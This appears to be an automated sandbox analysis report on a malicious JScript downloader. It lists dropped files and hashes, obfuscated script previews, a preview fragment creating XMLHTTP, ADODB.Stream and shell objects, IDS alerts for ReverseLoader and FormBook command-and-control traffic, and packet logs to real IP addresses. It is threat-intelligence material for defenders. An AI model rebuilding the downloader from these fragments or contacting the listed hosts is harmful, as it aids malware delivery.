SHA-256:	8219DBF8AFE5564E153E2F354254BA29AC7B84BD5B1D6AF3FAA32133AE33492C
SHA-512:	EB530DA9A54484A7F3FAADCB4085F0959CFCF82738E334F57C610DF91E6A86056B1CEC95BC989FF46B4D554BC4409866026BCADF88E0C57EA20A413D4FEE8FAA
Malicious:	false
Reputation:	low
Preview:	PkWozPeWencNJpb = "kcKgcxiodWfLWPi"..iUbmWapNUANiLAd = "mZkRptWWWKiGIhn"..psCeWLhQoZtbfrW = "OZKdWhPLjWkOKba"..PHLQikLeHCmnKlf = "PLvWzWviLgkiKpL"..LGilGWGPOiogLBN = "UAaWheLhWLlPqBz"..HWihdKuKnxUGdmG = "efNbWLPaIALAjfA"..SKNoLmLxLeWknKl = "KGTumLnGNGPKURN"..PNQcGiOAtoLtLIc = "KZRRzmmNLGsTbLP"..idAAJRpWPmPaBTb = "rLNZKiWLKKPzKko"..fLWCriWzBGbLjCJ = "nLzoNeWLGeKaLhm"....WQhofUHWehlNJmL = "alieGLPWpmCWmta"..iCBGbWmoHKxILhO = "cikLrJWuKdLHkGd"..oGcaWcuUIecCWZR = "xAfClzBcUWsLKGf"..bWLcAuheKKKgbvK = "WxeWtKiiGOdLPNz"..kkKWoWcpdHCZPiG = "LlHQptGoWumiGKK"..UUKnzdeuLmLgzSN = "vLGlxqGiCfoZWdc"..izRzUzPAuAtGLWh = "gcmcLWjSfeUWGfL"..rZWijWPJuWUAuZN = "dJWiSzWiaxUAKLe"..cLcethkKJofkWUK = "qWBdezZcAZGmWiC"..KhcUQbhozhrWCpp = "OQocGOZtkakWZAo"....nZNiPRKWtWKCzcN = "iLGKGJNicKiiAKn"..APkLLWLcoLhLWdz = "KPkKQqbLNUJfeoA"..qWhUAtNPWlemzLK = "NKclPZPLGUtAuWC"..LmOkiWxBrHAWANJ = "cPWGtNJezKfQIWi"..LhifpChZzZkCbrR = "vWaGGBdHjzbhmWl"..LBZbUKNAiOiKuCi = "OHHcLQCSKWilLzP"..ckLPqxGdvLGUtJo = "uAKzNbiqLqWiWzq

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulx51ll/h:NllU
MD5:	4293FEE5C8B10DA4F196BB8D3E9677AB
SHA1:	24B4682AEF78CE9FB08A31ED9066B9DA4B2813C9
SHA-256:	95B52E61F9A560203DDC32DD3B80645D3E540FF7BF94D05646CA1EA6350E6858
SHA-512:	262068B072CBE50C506DB5F470C95DA12CC25D7C972DC34290BCCF455508916D1282C733A0F5F7AAF84442786742D5A8512B7095DCA07C177A4318FC1A2FA3B6
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\4789071F

Download File

Process:	C:\Windows\SysWOW64\choice.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1koidkl2.tl5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ideypu5c.nym.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1nqemrd.kn2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u13dcyzd.mpy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ostaxa.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	158537
Entropy (8bit):	5.5298288159427935
Encrypted:	false
SSDEEP:	3072:XsYLPbdfgSBsYLPa60th/n/70xxeWTBIRArQnDvxRQ0AMmXLMkAvZjpKy+DNmX/n:XdbJTBdbAAdbJTBdba
MD5:	09C464C5A093ABE3B6DCFFCB63B707A6
SHA1:	A49070306F8B1337361B621EFAFEEF0AEE9EF6F9
SHA-256:	8219DBF8AFE5564E153E2F354254BA29AC7B84BD5B1D6AF3FAA32133AE33492C
SHA-512:	EB530DA9A54484A7F3FAADCB4085F0959CFCF82738E334F57C610DF91E6A86056B1CEC95BC989FF46B4D554BC4409866026BCADF88E0C57EA20A413D4FEE8FAA
Malicious:	true
Preview:	PkWozPeWencNJpb = "kcKgcxiodWfLWPi"..iUbmWapNUANiLAd = "mZkRptWWWKiGIhn"..psCeWLhQoZtbfrW = "OZKdWhPLjWkOKba"..PHLQikLeHCmnKlf = "PLvWzWviLgkiKpL"..LGilGWGPOiogLBN = "UAaWheLhWLlPqBz"..HWihdKuKnxUGdmG = "efNbWLPaIALAjfA"..SKNoLmLxLeWknKl = "KGTumLnGNGPKURN"..PNQcGiOAtoLtLIc = "KZRRzmmNLGsTbLP"..idAAJRpWPmPaBTb = "rLNZKiWLKKPzKko"..fLWCriWzBGbLjCJ = "nLzoNeWLGeKaLhm"....WQhofUHWehlNJmL = "alieGLPWpmCWmta"..iCBGbWmoHKxILhO = "cikLrJWuKdLHkGd"..oGcaWcuUIecCWZR = "xAfClzBcUWsLKGf"..bWLcAuheKKKgbvK = "WxeWtKiiGOdLPNz"..kkKWoWcpdHCZPiG = "LlHQptGoWumiGKK"..UUKnzdeuLmLgzSN = "vLGlxqGiCfoZWdc"..izRzUzPAuAtGLWh = "gcmcLWjSfeUWGfL"..rZWijWPJuWUAuZN = "dJWiSzWiaxUAKLe"..cLcethkKJofkWUK = "qWBdezZcAZGmWiC"..KhcUQbhozhrWCpp = "OQocGOZtkakWZAo"....nZNiPRKWtWKCzcN = "iLGKGJNicKiiAKn"..APkLLWLcoLhLWdz = "KPkKQqbLNUJfeoA"..qWhUAtNPWlemzLK = "NKclPZPLGUtAuWC"..LmOkiWxBrHAWANJ = "cPWGtNJezKfQIWi"..LhifpChZzZkCbrR = "vWaGGBdHjzbhmWl"..LBZbUKNAiOiKuCi = "OHHcLQCSKWilLzP"..ckLPqxGdvLGUtJo = "uAKzNbiqLqWiWzq

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (641), with CRLF line terminators
Entropy (8bit):	4.5445165635152565
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	1013911.js
File size:	3'272 bytes
MD5:	55be1707eaf08b827b66cc78a1e69e16
SHA1:	a826394d49fc7ad0e3db1ca040c167ef40ea9bdd
SHA256:	bf92cd30b94f0164d738c92a6be0fd7d72e0795d3ab1868cf0ec8ec1e57a201b
SHA512:	046d04a6ff5d003eff34561d4ec85f11bd633af127ed9d40796775d975f646904d8ceb61135cb6375b538863ed8b98fb178cc6f0a0516b0cbb995165a4755281
SSDEEP:	48:Xvy8Is8ZUImUswLJMlDPm30I+VybypyJydxX36tb4ym7:XVMMlDPm30LdXqtb4X
TLSH:	9B61D0512ADA1104F2E50EDB377713606E23790E5C39A7098B784E6E2FF3864E966F43
File Content Preview:	..v.a.r. .i.n.j.u.d.i.c.i.o.s.o. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".M.S.X.M.L.2...X.M.L.H.T.T.P.".).;.....v.a.r. .g.u.i.t.i.t.i.r.o.b.a. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".A.D.O.D.B...S.t.r.e.a.m.".).;.....v.a.r. .s.h.e.l.l.l.l. .=. .n.e.w

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T10:05:09.005082+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	151.101.1.137	443	192.168.2.4	49731	TCP
2024-12-03T10:05:25.647927+0100	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.4	49738	104.21.84.67	443	TCP
2024-12-03T10:05:26.705288+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	104.21.84.67	443	192.168.2.4	49738	TCP
2024-12-03T10:06:04.610000+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49751	192.186.57.30	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:04:56.615667105 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:56.615719080 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:56.615792990 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:56.624072075 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:56.624088049 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:57.888884068 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:57.889041901 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.307914972 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.307952881 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.308290958 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.308346987 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.312434912 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.359344006 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715053082 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715111017 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715147972 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715199947 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715217113 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.715261936 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.715301037 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.715435982 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.722103119 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.722198009 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.722208977 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.722256899 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.772406101 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.772671938 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.776369095 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.776473999 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.776494980 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.776592970 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.835026026 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.835275888 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.914918900 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.915061951 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.917282104 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.917499065 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.917512894 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.917563915 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.926794052 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.926879883 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.936702013 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.936825991 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.936832905 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.936889887 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.942583084 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.942677021 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.942683935 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.942763090 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.954339981 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.954406023 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.954412937 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.954456091 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.959423065 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.959501982 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.967766047 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.967839956 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.967848063 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.967900038 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.976103067 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.976164103 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.982395887 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.982490063 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.982559919 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.982625008 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.990864038 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.990978956 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.991039038 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.991120100 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.999264002 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.999366999 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:58.999389887 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:58.999464035 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.007668018 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.007760048 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.034862041 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.035041094 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.035065889 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.035135984 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.116460085 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.116619110 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.116664886 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.116712093 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.120752096 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.120848894 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.129045963 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.129102945 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.129132986 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.129190922 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.137577057 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.137636900 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.137666941 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.137711048 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.151225090 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.151309013 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.164557934 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.164654970 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.172101974 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.172205925 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.177717924 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.177793980 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.183861017 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.183933973 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.190038919 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.190110922 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.193329096 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.193392038 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.196400881 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.196465969 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.202538967 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.202610016 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.208693981 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.208762884 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.211926937 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.212003946 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.318969011 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.319058895 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.358716965 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.358870983 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.361401081 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.361571074 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.367620945 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.367712021 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.370803118 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.370862961 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.374772072 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.374830961 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.376847029 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.376905918 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.380686998 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.380759954 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.384607077 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.384670973 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.388544083 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.388602972 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.390661001 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.390717030 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.394531965 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.394613981 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.398488045 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.398554087 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.400490046 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.400547981 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.402528048 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.402592897 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.402606964 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.402627945 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.402647018 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.402692080 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.402796984 CET	49730	443	192.168.2.4	104.21.84.67
Dec 3, 2024 10:04:59.402815104 CET	443	49730	104.21.84.67	192.168.2.4
Dec 3, 2024 10:04:59.897521973 CET	49675	443	192.168.2.4	173.222.162.32
Dec 3, 2024 10:05:02.921278954 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:02.921343088 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:02.921418905 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:02.930897951 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:02.930927038 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.238137960 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.238256931 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.241394043 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.241410971 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.241679907 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.247895002 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.291343927 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.969933987 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.970221043 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.970267057 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.970282078 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.970293999 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.970315933 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.970335960 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.978537083 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.978605986 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.978614092 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.986958981 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.987008095 CET	49731	443	192.168.2.4	151.101.1.137
Dec 3, 2024 10:05:04.987015009 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.995455027 CET	443	49731	151.101.1.137	192.168.2.4
Dec 3, 2024 10:05:04.995501041 CET	49731	443	192.168.2.4	151.101.1.137
